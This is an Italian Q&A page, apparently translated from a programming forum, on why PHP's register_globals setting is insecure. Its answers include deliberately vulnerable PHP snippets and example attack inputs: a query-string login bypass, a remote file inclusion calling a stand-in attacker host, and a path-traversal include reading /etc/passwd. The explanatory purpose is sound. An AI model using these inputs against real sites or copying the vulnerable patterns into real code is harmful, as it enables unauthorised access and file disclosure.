Perché REGISTER_GLOBALS è così male?
-
07-07-2019 - |
Domanda
Non sono uno sviluppatore di PHP ma ho visto in un paio di posti che la gente sembra trattarlo come la peste o qualcosa del genere. Perché?
Soluzione
REGISTER_GLOBALS
significa che tutte le variabili passate attraverso GET o POST sono disponibili come variabili globali nello script. Poiché l'accesso a variabili non dichiarate non è un errore in PHP (è un avvertimento), può portare a situazioni molto brutte. Considera questo, ad esempio:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
Non è una cosa negativa di per sé (un codice ben progettato non dovrebbe generare avvisi, quindi non dovrebbe accedere a nessuna variabile che potrebbe essere dichiarata (e non dovrebbe necessitare REGISTER_GLOBALS
per lo stesso motivo)), ma il codice PHP è di solito [molto] di bassa qualità, portando a questo tipo di falle nella sicurezza.
Altri suggerimenti
L'abilitazione di REGISTER_GLOBALS espone le pagine Web fornite da PHP a vulnerabilità che alcuni cattivi saranno desiderosi di sfruttare.
Con questa opzione abilitata, qualsiasi stringa di query alla fine dell'URL:
http://yourdomain/something.php?valid=true
influenzerà il valore di una variabile $ valid (ad esempio) in qualcosa.php, se esiste .
Se si utilizza il codice PHP disponibile pubblicamente (una libreria ad esempio), i nomi delle variabili sono ben noti e sarebbe possibile per gli hacker controllare i loro valori assegnando i valori nella stringa di query. Potrebbero essere in grado di bypassare l'autenticazione.
Anche se non stai usando un codice pubblico, potrebbe essere possibile indovinare i nomi di variabili importanti e controllarne i valori.
In passato, per impostazione predefinita, REGISTER_GLOBALS era abilitato in PHP.INI
La pratica recente è stata quella di disabilitarla per impostazione predefinita. Abilitalo a tuo rischio e pericolo!
Solo per aggiungere, ecco alcune situazioni in cui avere REGISTER_GLOBALS
abilitato potrebbe rovinare la tua giornata:
Utilizzo della stringa di query per ignorare il controllo di accesso (hackerando http://example.com/ ? registrati = 1 ):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Inclusione file remota (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Inclusione file locale (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Perché consente all'utente di iniettare qualsiasi variabile globale nel codice senza alcun controllo.
In base alla qualità del codice, può introdurre importanti bug di sicurezza.